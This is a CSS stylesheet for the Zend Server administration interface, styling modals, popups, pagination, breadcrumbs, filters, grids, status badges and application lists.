.z-modal-header {
	padding: 7px 15px;
}
.z-modal-header h2 {
	font-size: 18px;
	line-height: 24px;
	color: #2774A0;
	font-weight: normal;
}
.z-modal-body {
	color: #3b3b3b;
	line-height: 18px;
	font-size: 12px;
	padding: 7px 15px;
	padding-bottom: 50px;
}
.z-modal-body .z-modal-wide-input {
	width: 100%;
}
.z-modal-footer {
	height: 50px;
	background: #2774A0;
	padding: 7px;
	box-sizing: border-box;
	
}
.z-modal-active-button {
	float: right;
}

/***** /MODAL STYLES **********/



.z-message-box-header {
	font-weight: bold;
	padding: 10px;
	color: #2774A0;
	font-family: 'Open Sans', sans-serif;
    font-size: 18px;
    word-break: break-word;
}

.z-confirm-box-wrapper .ngdialog-content {
	width: 350px !important;
}

.z-message-box p {
	font-size: 14px;
	line-height: 18px;
	margin: 0;
	padding: 10px;	
}

.z-confirm-box p {
	font-size: 18px;
	line-height: 24px;
	margin: 0;
	text-align: center;
	padding-top: 30px;	
	padding-left: 10px;	
	padding-right: 10px;	
}

.z-confirm-box.z-prompt-box p {
	text-align: left;
	border-collapse: collapse;
	color: rgb(18, 40, 51);
	display: block;
	font-family: 'Open Sans', sans-serif;
	font-size: 13px;
}

.z-confirm-box.z-prompt-box p input {
	width: 100%;
}

.z-message-box-buttons,
.z-confirm-box-buttons {
	/*overflow: hidden;*/
	margin-top: 30px;
}
.z-confirm-box-buttons {
	text-align: center;
	padding-bottom: 15px;
}
.z-prompt-box .z-confirm-box-buttons {
	text-align: right;
	padding-right: 10px;
}

.z-message-box-buttons {
	margin-top: 20px;
	padding: 10px;
	border-top: 1px solid #EEE;
}

.z-message-box-buttons button {
	float: right;
}

.z-confirm-box-buttons button {
	display: inline-block;
	margin-left: 10px;
	padding: 0 20px;
}


/******************* Z-NG-POPUP **********************/
.z-ng-popup-wrapper {
	position: absolute;
	left: -9999;
	top: -9999;
	z-index: 999999;
}
.z-ng-popup, .z-ng-popup-arrow {
	display: inline-block;
	position: absolute;
	left: -9999;
	top: -9999;
	
	box-sizing: border-box;
	padding: 10px;
	
	background: #2774A0;
	color: #FFF;
	
	z-index: 999999;
}
.z-ng-popup a {
	text-decoration: none;
	color: #EEE;
}
.z-ng-popup a:hover {
	text-decoration: underline;
	color: #FFF;
}
.z-ng-popup-arrow {
	transform: rotate(45deg);
	width: 20px;
	height: 20px;
	z-index: 999998;
}

.z-ng-popup-hidden {
	display: none;
}

.z-ng-popup-clickable {
	cursor: pointer;
}

/******************* /Z-NG-POPUP **********************/

.z-flag-critical { color: #CC1111 !important; }
.z-flag-warning { color: orange !important; }
.z-flag-normal { color: #007F00 !important; }

.z-ui-grid-expandable-row-wrapper {
	overflow: hidden;
	margin: 0;
	padding: 5px;
	color: #777;
	box-sizing: border-box;
	overflow: auto;
}

.z-ui-grid-list-actions-column {
	text-align: center;
	color: #2774A0;
}
.z-ui-grid-list-actions-column button {
	color: #2774A0;
}

/* PAGINATION */

.z-pagination {
	overflow: hidden;
	margin-top: 15px;
}

.z-pagination .z-pagination-links,
.z-pagination .z-pagination-total {
	float: left;
	display: inline-block;
	white-space: nowrap;
}

.z-pagination .z-pagination-total {
	height: 36px;
	line-height: 36px;
	padding: 0 10px;
	box-sizing: border-box;
}

.z-pagination .z-pagination-links {
	float: right;
}

.z-pagination .z-pagination-links ul {
	margin: 0;
	padding: 0;
	overflow: hidden;
}

.z-pagination .z-pagination-links ul li {
	float: left;
	display: inline-block;
	
	border: 1px solid #DDDDDD;
	border-right: none;
}
.z-pagination .z-pagination-links ul li:last-child {
	border-right: 1px solid #DDDDDD;
}

.z-pagination .z-pagination-links ul li a {
	display: inline-block;
	width: 36px;
	height: 36px;
	line-height: 36px;
	box-sizing: border-box;
	
	
	text-align: center;
	vertical-align: top;
	cursor: pointer;
}
.z-pagination .z-pagination-links ul li.z-pagination-current a {
	background: #C7EEFE;
	color: #333;
}
.z-pagination .z-pagination-links ul li.z-pagination-disabled a {
	color: #AAA;
	cursor: default;
}
.z-pagination .z-pagination-links ul li a:hover {
	background: #C7EEFE;
	text-decoration: none;
}
.z-pagination .z-pagination-links ul li.z-pagination-disabled a:hover {
	background: transparent;
}
	
/* /PAGINATION */


/************* CONTACT ZEND **************/

#menu-header {
    margin: 10px 5px;
    float: right;
    font-size: 12px;
}

#menu-header a:hover {
    cursor: pointer;
    text-decoration: initial;
}

#contact-expired {
    float: right;
    margin-right: 10px;
}

#menu-header #contact-zend-link {
    margin-right: 10px;
}

#menu-header #menu-toggler {
    display: inline-block;
    position: relative;
    height: 16px;
    top: initial;
    vertical-align: middle;
    display: none;
}

#menu-header a:hover i::before {
    color: #d8d8d8;
}

#menu-header i::before {
    font-size: 16px;
    background: #252525;
    border-radius: 5px;
    padding: 5px 5px;
    color: #959595;
}


/************ /CONTACT ZEND **************/

input[type="number"].auto-refresh-interval {
    width: 40px;
}



#persistant-wrapper {
    position: fixed;
    top: 0;
    left: 200px;
 /*Sidebar*/
    padding: 0 10px;
    z-index: 10;
    width: 100%;
    display: none;
    background: #fff;
	/*
	margin-top: -10px;
	padding-top: 10px;
	*/
	/*
	-webkit-box-shadow: 0px 0px 8px #000000;
  	-moz-box-shadow: 0px 0px 8px #000000;
  	box-shadow: 0px 0px 8px #000000;
  	*/
}

.event-actions-codetracing {
    display: inline-block;
    background: url('/ZendServer/images/trace-event-based-icon.png');
    height: 14px;
    width: 14px;
    margin-right: 2px;
}

.event-actions-codetracing:hover {
    background: url('/ZendServer/images/trace-event-based-hover-icon.png');
}

.event-actions-codetracing.disable {
    background: url('/ZendServer/images/trace-event-based-icon-disable.png');
    cursor: default;
}

#bread-wrp {
    clear: both;
    height: 35px;
    color: #7d8f97;
    font-size: 14px;
    margin: -10px -20px 20px -10px;
    height: auto;
}

#bread-wrp.no-border #bread {
    border-bottom: 0;
}

#bread-wrp.no-border {
    border-bottom: 0;
}

#bread-wrp.page-description {
    height: auto;
    font-size: 13px;
}

.bread-info-btn {
    float: left;
    position: relative;
    color: #088fd0;
}

.bread-warning {
    color: orange;
}

#bread-wrp .manual-toggle-main-menu-button {
	display: inline-block;
	float: left;
	width: 30px;
	height: 38px;
	text-align: center;
	line-height: 38px;
	background: #CCC;
	color: #333;
}

#bread-wrp #bread h1 {
    float: left;
    margin: 5px 8px 8px 8px;
    font-size: 25px;
    font-weight: normal;
    color: #000;
}

.page-description-content-wrapper {
    display: none;
    position: absolute;
    top: 15px;
    left: 2px;
    width: 75px;
    z-index: 9;
}

.page-description-content {
    width: 600px;
    font-size: 12px;
    color: #3D525C;
    -webkit-box-shadow: 5px 5px 10px 0px rgba(50, 50, 50, 0.27);
    -moz-box-shadow: 5px 5px 10px 0px rgba(50, 50, 50, 0.27);
    box-shadow: 5px 5px 10px 0px rgba(50, 50, 50, 0.27);
    margin: 25px 33px 10px 5px;
    border: 1px solid #7D8F97;
    background: #F3F3F3;
    padding: 10px 15px;
}

.page-description-content table td {
    line-height: 21px;
}

.page-description-content table td a {
    color: #016FAE;
}

.page-description-content-wrapper .triangle {
    position: absolute;
    top: 18px;
    left: 12px;
    z-index: 1;
    width: 0;
    height: 0;
    border-style: solid;
    border-width: 0 6px 7px 6px;
    border-color: transparent transparent #7d8f97 transparent;
}

.bread-info-btn:hover .page-description-content-wrapper,
.page-description-content-wrapper:hover {
    display: block;
}

.page-description-content table {
    margin: 0;
}

.page-description-content .video-box {
    height: 140px;
}
#bread ul{
display:none;
}
#bread {
    height: 38px;
    width: 100%;
    background: #e3e3e3;
    color: #7d8f97;
    font-size: 14px;
    position: relative;
    z-index: 100;
/*	display: none;*/
}

#bread ul {
    list-style-type: none;
    margin: 0 0 0 23px;
    padding: 0;
}

#bread li {
    float: left;
	/* background: url('/ZendServer/images/bread-separator-new.png') left 11px no-repeat; */
    height: 24px;
    margin-right: 5px;
    margin-top: 5px;
    line-height: 35px;
    font-size: 11px;
}

#bread li:before {
    content: "/";
    margin-right: 3px;
}

#bread li a {
    color: #878787;
    text-decoration: none;
    cursor: pointer;
}

#bread button {
    float: right;
    margin-right: 5px;
    margin-top: 1px;
}

#filter-bar {
    height: 41px;
    position: relative;
    background: url('/ZendServer/images/filters-bar-bg.png') left top repeat-x;
}

/******************* ANGULAR FILTERS **************************/
.ui-datepicker {
    box-shadow: rgba(0, 0, 0, 0.298039) 2px 2px 5px;
}


/****************** multi select widget ***********************/

.z-multi-select-wrapper {
	position: relative;
	display: inline-block;
	vertical-align: middle;
}
.z-multi-select-wrapper * {
	box-sizing: border-box;
}
.z-multi-select-wrapper .z-multi-select {
	padding: 0 0.8em;
	padding-right: 25px;
	font-size: 1.1em;
	line-height: 1.8em;
	border: 1px solid #CCC;
	cursor: pointer;
	color: #000;
	border-radius: 2px;
}
.z-multi-select-wrapper .z-multi-select, 
.z-multi-select-wrapper .z-multi-select span {
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
}
/* disable the border in the login page */
.login-field .z-multi-select-wrapper .z-multi-select {
    border: 0;
}
.z-multi-select-wrapper .z-multi-select i {
	position: absolute;
	z-index: 97; /* one below with multi-select popup */
	right: 8px;
	top: 1px;
	line-height: 1.8em;
}

.z-multi-select-wrapper.z-multi-select-open .z-multi-select {
	color: #000;
	background: #FFF;
}
.z-multi-select-wrapper .z-multi-select-options {
	position: absolute;
	left: 0;
	top: 1.9em;
	z-index: 98;
	
	display: none;
	
	background: #FFF;
	border: 1px solid #DDD;
	
	max-height: 18em;
	overflow-y: auto;
	overflow-x: hidden;
	
	box-shadow: 2px 2px 5px rgba(0, 0, 0, 0.25);
}
.z-multi-select-wrapper.z-multi-select-open .z-multi-select-options {
	display: block;
}

.z-multi-select-wrapper .z-multi-select-helper-buttons {
	padding: 0 10px;
	color: #2774A0;
}
.z-multi-select-wrapper .z-multi-select-helper-buttons span:hover {
	color: #48A9C5;
}

.z-multi-select-wrapper .z-multi-select-options ul,
.z-multi-select-wrapper .z-multi-select-options ul li {
	padding: 0;
	margin: 0;
}
.z-multi-select-wrapper .z-multi-select-options ul li label {
	display: block;
	padding: 0 0.5em;
	
	font-size: 1em;
	line-height: 1.8em;
	
	white-space: nowrap;
	text-overflow: ellipsis;
	cursor: pointer;
}
.z-multi-select-wrapper .z-multi-select-options ul li label:hover {
	background: #F6F6F6;
}
.z-multi-select-wrapper .z-multi-select-options ul li input[type="checkbox"] {
	vertical-align: middle;
}

.z-multi-select-wrapper .z-multi-select-options ul li .z-multi-select-single-select-item:hover,
.z-multi-select-wrapper .z-multi-select-options ul li .z-multi-select-single-select-item-selected {
	background: #EEE;
}


/** filters **/

.z-filter-wrapper {
	padding: 5px;
}
.z-filter-wrapper.filter-has-values {
    background: #FFF7C9;
}

.z-filter-wrapper label {
	color: #2774A0;
}
.z-filter-wrapper .z-filter-search-clear-button {
	position: absolute;
	margin-left: -27px;
	color: #48A9C5;
}
.z-filter-wrapper .z-filter-free-text-input {
	padding-right: 20px;
	box-sizing: border-box;
}	
.z-filter-wrapper .z-filter-element {
	margin-right: 20px;
	margin-bottom: 10px;
	display: inline-block;
	white-space: nowrap;
	vertical-align: middle;
}
.z-filter-wrapper .z-filter-element:first-child {
	margin-left: 0;
}

.z-basic-filter-wrapper .z-basic-filter-right-side {
	float: right;
}
.z-basic-filter-wrapper .z-basic-filter-right-side .z-filter-element {
	margin-left: 20px;
	margin-right: 0;
	
}

#z-basic-filter-stored-filters {
    max-width: 160px;
}

.z-basic-filter-wrapper .z-advanced-filter-switch {
	width: 110px;
}

.z-basic-filter-wrapper .custom-dates-picker {
	display: inline-block;
}

.z-basic-filter-wrapper-clearfix:after {
     visibility: hidden;
     display: block;
     font-size: 0;
     content: " ";
     clear: both;
     height: 0;
 }
.z-basic-filter-wrapper-clearfix { display: inline-block; }
/* start commented backslash hack \*/
* html .z-basic-filter-wrapper-clearfix { height: 1%; }
.z-basic-filter-wrapper-clearfix { display: block; }
/* close commented backslash hack */


/* Dates range picker directive */

.z-dates-range-wrapper .z-dates-range-popup-row-buttons {
	margin-top: 20px;
	padding-left: 10px;
}
.z-dates-range-wrapper .z-dates-range-popup-row-buttons button {
	padding: 0 15px;
}
.z-dates-range-wrapper .z-dates-range-popup-row-buttons button.z-button-link {
	color: #2774A0;
	background: transparent;
	border: 0;
}
.z-dates-range-wrapper .z-dates-range-popup-row-buttons button.z-button-link:hover {
	color: #48A9C5;
}
.z-dates-range-wrapper .z-dates-range-text {
	display: inline-block;
	padding: 1px 10px 0px;
	color: #2774A0;
	box-sizing: border-box;
}
.z-dates-range-wrapper.z-dates-range-open .z-dates-range-text {
	padding: 0px 9px;
	border: 1px solid #DDD;
	border-bottom: 0;
	background: #FFF;
    z-index: 99;
    position: relative;	
}
.z-dates-range-wrapper .z-dates-range-text:hover {
	color: #48A9C5;
}
.z-dates-range-wrapper .z-dates-range-popup {
	box-sizing: border-box;
	position: absolute;
	z-index: 98;
	background: #FFF;
	padding: 10px;
	border: 1px solid #DDD;
	margin-top: -1px;
	box-shadow: 2px 2px 5px rgba(0,0,0,0.3);
}
.z-dates-range-wrapper .z-dates-range-popup label {
	display: inline-block;
	width: 60px;
	padding: 0 10px;
	box-sizing: border-box;
}

/******************* ZGRID CSSS **************************/
.grid-header-seperator {
    display: none;
}

.zgrid {
    position: relative;
    border-collapse: collapse;
}

.zgrid th {
    position: relative;
    overflow: hidden;
    white-space: nowrap;
    text-align: left;
    font-size: 13px;
    color: #000;
    font-weight: normal;
    height: 35px;
    line-height: 35px;
    padding: 0;
    padding-left: 10px;
}

.zgrid td {
	/* line-height: 18px; */
    padding: 5px 10px;
    line-height: 16px;
    font-size: 13px;
    color: #122833;
}

.zgrid .odd:hover,
.zgrid .even:hover,
.zgrid .even.active,
.zgrid .odd.active {
    background: #e2e2e2;
    cursor: pointer;
}

.zgrid .active {
    background: #e2e2e2;
}

.zgrid .tableDescRow {
	/*background: #c6dee8;*/
}

.zgrid .tableDescRow table td {
    border: 0;
}

.zgrid .tableDescRow td {
    padding: 0px;
    color: #122833;
}

.zgrid .tableDescRowOver {
    background: transparent;
}

.zgrid .tableDescContent {
    padding: 5px;
    margin: 0 3px 3px 3px;
}

.zgrid .tableDescContentLeft tr td:first-child {
    white-space: nowrap;
    width: 1%;
    font-weight: bold;
}

.zgrid th.sorted {
    font-weight: bold;
    color: #122833;
}

.zgrid .table-menu-wrapper {
    padding: 0 0 0 6px;
}

.zgrid #grid-spinner {
    width: 100%;
    height: 100%;
    background: #D9D9D9;
    opacity: 0.5;
    position: absolute;
    top: 0;
    left: 0;
}

.zgrid #grid-spinner-img {
    background: url('/ZendServer/images/preload-48.gif') top left no-repeat;
    height: 48px;
    width: 48px;
    margin: auto auto;
    position: absolute;
    top: 0;
    left: 0;
}

.zgrid .table-menu {
    background: url('/ZendServer/images/menu-button.png') top left no-repeat;
    width: 32px;
    height: 22px;
    margin: 5px 2px;
}

.zgrid .table-menu:hover {
    background-position: -32px 0px;
}

.zgrid .table-menu.active {
    background-position: -64px 0px;
}

.direction-asc {
    display: inline-block;
    margin-left: 5px;
    background: url('/ZendServer/images/grid/sort-up.png') top left no-repeat;
    height: 4px;
    width: 7px;
    margin-bottom: 2px;
}

.direction-desc {
    display: inline-block;
    margin-left: 5px;
    background: url('/ZendServer/images/grid/sort-down.png') top left no-repeat;
    height: 4px;
    width: 7px;
    margin-bottom: 2px;
}

.direction-right {
    display: inline-block;
    margin-left: 5px;
    background: url('/ZendServer/images/grid/sort-right.png') top left no-repeat;
    height: 7px;
    width: 4px;
    margin-bottom: 2px;
}

.zpager {
    list-style-type: none;
    height: 20px;
}

.zpager li {
    float: left;
}

.zgrid .tableDescClosed,
.zgrid .tableDescOpened {
    height: 13px;
    width: 5px;
    float: right;
    padding: 0 2px 0 0;
    text-align: center;
    margin-right: 23px;
    margin-top: 5px;
}

.zgrid i.tableDescClosed.glyphicons::before,
.zgrid i.tableDescOpened.glyphicons::before {
    font-size: 16px;
    color: #d5d5d5;
}

.zgrid tr:hover i.tableDescClosed.glyphicons::before,
.zgrid tr.active i.tableDescClosed.glyphicons::before,
.zgrid tr:hover i.tableDescOpened.glyphicons::before,
.zgrid tr.active i.tableDescOpened.glyphicons::before {
    color: #fff;
}

.zgrid .tableDescClosed i.glyphicons::before {
    -webkit-transform: rotate(90deg);
    -moz-transform: rotate(90deg);
    -o-transform: rotate(90deg);
    -ms-transform: rotate(90deg);
    transform: rotate(90deg);
}

.zgrid .tableDescOpened i.glyphicons::before {
    -webkit-transform: rotate(270deg);
    -moz-transform: rotate(270deg);
    -o-transform: rotate(270deg);
    -ms-transform: rotate(270deg);
    transform: rotate(270deg);
}
/******************* END ZGRID CSSS **************************/

.zpager .disabled a,
.pagination .disabled a:hover {
    cursor: auto;
}

#mypager,
.zPager {
    width: 542px;
    float: right;
    margin: 0 0 18px 0;
}

.tableDescRow .descTitle {
    text-align: left;
    width: 100%;
    margin-bottom: 5px;
    margin-left: 2px;
}

.descRight {
    width: 345px;
    float: right;
	font-size: 12px;
}

.descLeft {
    width: 61%;
	font-size: 12px;
}

.descRight td {
	font-size: 12px;
    padding: 2px 0;
    line-height: 22px;
    text-align: center;
}

.tableDescRow td {
    color: #000;
    font-size: 12px;
    line-height: 22px;
    padding: 0;
}

.zgrid td .tableDescContent td {
    border: 0px;
}

.tableDescContent td:first-child,
.general-details-top tr td:first-child {
    color: #93a3ab;
    font-size: 12px;
    font-weight: bold;
    padding-right: 10px;
    text-align: right;
    white-space: nowrap;
    overflow: hidden;
	width: 110px;
}

.tableDescRow table {
    margin: 0;
}

.zgrid .severity-error,
.zgrid .severity-warning,
.zgrid .severity-info,
.ui-grid .severity-error,
.ui-grid .severity-warning,
.ui-grid .severity-info {
    height: 30px;
    width: 3px;
}

.ui-grid-cell-contents-center .severity-error,
.ui-grid-cell-contents-center .severity-warning,
.ui-grid-cell-contents-center .severity-info {
    margin: 10px 0 0 10px;
    height: 11px;
    width: 11px;
    border: 1px solid #ACC0B7;
}

.zgrid .severity-error,
.zgrid .severity-warning,
.zgrid .severity-info {
    margin: 10px 0 0 2px;
    height: 11px;
    width: 11px;
    border: 1px solid #ACC0B7;
}

.severity-big-status {
    height: 88px;
    width: 15px;
    float: left;
    display: block;
    margin: 10px;
}

.severity-big-status.error {
    background: #ed4e29;
}

.zend-form-table-description .error {
    color: #ed4e29;
}

.severity-big-status.warning {
    background: #fcb320;
}

.severity-big-status.info {
    background: #51aac2;
}

.severity-error {
    background: #ed4e29;
    height: 23px;
    width: 7px;
}

#bread-wrp li .severity-error,
#bread-wrp li .severity-warning,
#bread-wrp li .severity-info {
    margin: 5px 5px 0 0;
}

.severity-warning {
    background: #fcb320;
    height: 23px;
    width: 7px;
}

.severity-info {
    background: #51aac2;
    height: 23px;
    width: 7px;
}

.floating-tip-triangle {
    background: url('/ZendServer/images/grid/tooltip-arrow.png') top right no-repeat;
    height: 6px !important;
    width: 14px !important;
    border: 0px !important;
    position: absolute;
}

.floating-tip-triangle-right {
    height: 14px !important;
    background: url('/ZendServer/images/grid/tooltip-arrow-right.png') top right no-repeat;
}

.floating-tip {
    background-color: #fff;
    border: 1px solid #a3bcc7;
    word-wrap: break-word;
	/* padding: 5px 15px; */
    color: #000;
    padding: 5px;
    font-weight: bold;
    font-size: 11px;
    margin-top: 5px !important;
}

.floating-tip-wrapper {
    z-index: 1000 !important;
}

.issues-count-wrapper {
    text-align: center;
}

.issues-count {
    background: #7a9fad;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 12px;
    font-weight: bold;
    height: 15px;
    min-width: 12px;
    line-height: 16px;
    margin-top: 3px;
    -moz-border-radius: 11px;
    -khtml-border-radius: 11px;
    -webkit-border-radius: 11px;
    border-radius: 11px;
}

.count-icon {
    background: #a3a3a3;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 12px;
    font-weight: bold;
    height: 15px;
    min-width: 12px;
    line-height: 16px;
    margin-top: 3px;
}

#extension-loaded,
.zgrid-status-ok {
    background: #48b854;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    /*margin-top: 8px;*/
}

.zgrid-status-warning {
    background: #FF8C00;
}

.zgrid-status-waiting {
    background: transparent;
    border: 1px solid #DDD;
    color: #666;
}

.zgrid-status-in-progress {
    background: transparent;
    border: 1px solid #DDD;
    color: #666;
}

.zgrid-status-in-progress-transition {	
	color: #fff;
	background-color: #48b854;
    -webkit-animation-name: progress-transition; /* Safari 4.0 - 8.0 */
    -webkit-animation-duration: 4s; /* Safari 4.0 - 8.0 */
    animation-name: progress-transition;
    animation-duration: 4s;
}

.zgrid-status-progress-ok {
    background: #48b854;
    text-align: center;
    color: #fff;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    line-height: 18px;
}

/* Safari 4.0 - 8.0 */
@-webkit-keyframes progress-transition {
    from {background-color: transparent; color: #666;}
    to {background-color: #48b854; color: #fff;}
}

/* Standard syntax */
@keyframes progress-transition {
    from {background-color: transparent; color: #666;}
    to {background-color: #48b854; color: #fff;}
}

.ui-grid-row .ui-grid-cell {
	text-overflow: ellipsis;
}

.ui-grid-cell-contents .zgrid-status-ok,
.ui-grid-cell-contents .zgrid-status-disabled {
    margin-top: 0px;
}

.ui-grid-cell  .zgrid-status-ok,
.ui-grid-cell  .zgrid-status-disabled,
.ui-grid-cell  .zgrid-status-error,
.ui-grid-cell  .zgrid-status-progress{
    margin: 0px;
}

.ui-grid-row .ui-grid-cell.z-ui-grid-selected-row {
	background: #B2CDD5;
}

#extension-builtin {
    background: #48b854;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    /*margin-top: 8px;*/
}

#extension-unsupported {
    background: #9a9a99;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 10px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    /*margin-top: 8px;*/
}

#extension-off {
    background: #9a9a99;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    /*margin-top: 8px;*/
}

#extension-error,
.zgrid-status-error {
    background: #ed4e29;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    /*margin-top: 8px;*/
}

#extension-not-installed,
.zgrid-status-disabled {
    background: #9a9a99;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    /*margin-top: 8px;*/
}

#extension-warning {
    background: #fcb31f;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    /*margin-top: 8px;*/
}

#extension-pending,
.zgrid-status-progress {
    background: #fcb31f;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 11px;
    font-weight: bold;
    height: 18px;
    min-width: 60px;
    line-height: 18px;
    /*margin-top: 8px;*/
}

button.extension-enable {
    background: #48b855;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 12px;
    font-weight: bold;
    height: 22px;
    min-width: 40px;
    line-height: 18px;
}

button.extension-disable {
    background: #9a9a99;
    text-align: center;
    color: #fff;
    display: inline-block;
    padding: 0 8px;
    font-size: 12px;
    font-weight: bold;
    height: 22px;
    min-width: 40px;
    line-height: 18px;
}

#main-apps-wrapper {
    height: 265px;
    overflow: hidden;
    margin-bottom: 10px;
    border-bottom: 1px solid #DDD;
    transition: padding 0.5s;
}

#main-apps-list-wrapper {
    width: 207px;
    float: left;
}

#main-apps-stats-wrapper {
    padding-left: 207px;
    padding-right: 10px;
}

#main-apps-list-wrapper ul {
    list-style-type: none;
    padding: 0;
    margin: 0;
}

#main-apps-list-wrapper ul li {
    height: 38px;
    background: #ececec;
    padding-left: 20px;
    line-height: 40px;
    font-size: 14px;
    border-bottom: 1px solid #cbcbcb;
    position: relative;
    cursor: pointer;
    color: #333333;
    overflow: hidden;
}

#main-apps-list {
    clear: both;
    height: 265px;
    overflow: hidden;
    background: #E3E3E3;
	/*direction: rtl;*/
}

#main-apps-list ul {
    direction: ltr;
}

#main-apps-list:hover {
    overflow-y: auto;
}

#main-apps-list .active,
#main-apps-list-wrapper ul li:hover {
    background: #2774a0;
    color: #fff;
}

.main-apps-list-warning {
    background: url('/ZendServer/images/apps-status-warning.png') left 13px no-repeat;
    padding-left: 25px;
}

.main-apps-list-ok {
    background: url('/ZendServer/images/apps-status-ok.png') left 13px no-repeat;
    padding-left: 25px;
}

.main-apps-list-deploy {
    background: url('/ZendServer/images/apps-deploy-button.png') left 13px no-repeat;
    padding-left: 25px;
}

.main-apps-list-define {
    background: url('/ZendServer/images/apps-define-button.png') left 13px no-repeat;
    padding-left: 25px;
}

.main-servers-list-warning {
    background: url('/ZendServer/images/apps-status-warning.png') center top no-repeat;
    padding-left: 25px;
    height: 25px;
    /*margin-top: 4px;*/
}

.main-servers-list-ok {
    background: url('/ZendServer/images/apps-status-ok.png') center top no-repeat;
    padding-left: 25px;
    height: 25px;
    /*margin-top: 4px;*/
}

.main-servers-list-restart {
    background: url('/ZendServer/images/server-status-requires-restart.png') center top no-repeat;
    padding-left: 25px;
    height: 25px;
    /*margin-top: 4px;*/
}

.main-servers-list-disabled {
    background: url('/ZendServer/images/server-status-disabled_red.png') center top no-repeat;
    padding-left: 25px;
    height: 25px;
    /*margin-top: 4px;*/
}

.main-servers-list-disabled-server {
    color: #CC1111;
}

#main-apps-list-active-arrow {
    width: 0;
    height: 0;
    border-top: 12px solid transparent;
    border-bottom: 12px solid transparent;
    border-right: 12px solid white;
    margin-top: 8px;
    position: absolute;
    top: 0;
    right: -1px;
}

#scroll-down,
#scroll-up {
    height: 14px;
    float: left;
    cursor: pointer;
    width: 100%;
}

#scroll-down {
    background: #ECECEC url('/ZendServer/images/scroll-arrow-down-button.png') top left no-repeat;
}

#scroll-up {
    background: #ECECEC url('/ZendServer/images/scroll-arrow-up-button.png') top left no-repeat;
}

#main-apps-graphs {
    height: 210px;
    margin-top: 20px;
    overflow: hidden;
    float: left;
}

#graph-tabs-container {
    margin-right: -10px;
}

#graph-tabs-container, #new-tabs-container {
    height: 24px;
    width: 100%;
    float: right;
    text-align: left;
    position: relative;
}

#graph-tabs-container ul, #new-tabs-container ul {
    list-style-type: none;
    padding: 0;
    margin: -4px 0 0 0;
    border-bottom: 1px solid #DDD;
}

#main-apps-wrapper #graph-tabs-container ul,
#main-apps-wrapper #new-tabs-container ul {
    margin: 0;
}

#graph-tabs-container ul li, #new-tabs-container ul li {
    display: inline-block;
    margin-right: 5px;
}

.diagonal-tab {
    border: 1px solid #fff;
    font-size: 12px;
    line-height: 20px;
    height: 19px;
    padding: 0px 15px;
    cursor: pointer;
    color: #2e789e;
}

.diagonal-tab#latest-update-tab {
    margin: 4px 6px 0 0;
    background: #b0c76a;
    color: #fff;
}

.diagonal-tab:hover,
.diagonal-tab.active,
.diagonal-tab#latest-update-tab.active {
    background: #fff;
    color: #555555;
    border: 1px solid #DDD;
    border-bottom: 1px solid #fff;
    border-top: 3px solid #52AAC2;
    height: 30px;
    line-height: 30px;
}

.graph-page {
    width: 100%;
    float: left;
}

#main-apps-statuses {
    float: right;
    padding-left: 10px;
}

#main-apps-status-actions {
    position: absolute;
    top: 4px;
    right: 10px;
    transition: top 0.5s;
}

#main-apps-status-actions > div > label {
    margin-right: 5px;
    color: #555;
    font-weight: normal;
}

.dropbox-container label {
    color: #A8A9A9;
    font-size: 12px;
    font-weight: bold;
    line-height: 12px;
    width: auto;
    margin-right: 10px;
}

.main-apps-graph {
    height: 220px;
    width: 100%;
    position: relative;
}

.main-apps-stat {
    padding: 14px 0;
}

.main-apps-stat h2 {
    color: #355968;
    font-size: 22px;
    font-weight: normal;
    padding: 0;
    line-height: 22px;
}

.main-apps-stat a {
    color: #a8a9a9;
    font-weight: bold;
    background: url('/ZendServer/images/apps-stats-arrow.png') right 2px no-repeat;
    padding-right: 18px;
}

.main-apps-stat a:hover {
    background: url('/ZendServer/images/apps-stats-arrow-over.png') right 2px no-repeat;
    color: #355968;
    text-decoration: none;
}

.more-details {
    color: #355968;
    font-weight: bold;
    background: url('/ZendServer/images/apps-stats-arrow-over.png') right 2px no-repeat;
    padding-right: 18px;
}

.action-buttons {
    list-style-type: none;
    padding: 0;
    margin: 0;
    font-size: 0;
}

.action-buttons li {
    display: inline-block;
    height: 22px;
    width: 28px;
    border: 1px solid #A8A9A9;
    border-left: 0px;
}

.action-buttons li:first-child {
    border-left: 1px solid #A8A9A9;
    -moz-border-radius: 4px 0px 0px 4px;
    -khtml-border-radius: 4px 0px 0px 4px;
    -webkit-border-radius: 4px 0px 0px 4px;
    border-radius: 4px 0px 0px 4px;
}

.action-buttons li:last-child {
    -moz-border-radius: 0px 4px 4px 0px;
    -khtml-border-radius: 0px 4px 4px 0px;
    -webkit-border-radius: 0px 4px 4px 0px;
    border-radius: 0px 4px 4px 0px;
}

.action-buttons .active a,
.action-buttons a,
.action-buttons a:hover {
    height: 22px;
    width: 28px;
    display: block;
    padding: 3px;
    background-repeat: no-repeat;
    background-position: 5px 4px;
}

.action-buttons li {
    background-repeat: no-repeat;
    background-position: 5px 4px;
}

.action-buttons li:hover,
.action-buttons .active {
    background-color: #d7e2e6;
    background-repeat: no-repeat;
    background-position: 5px 4px;
}

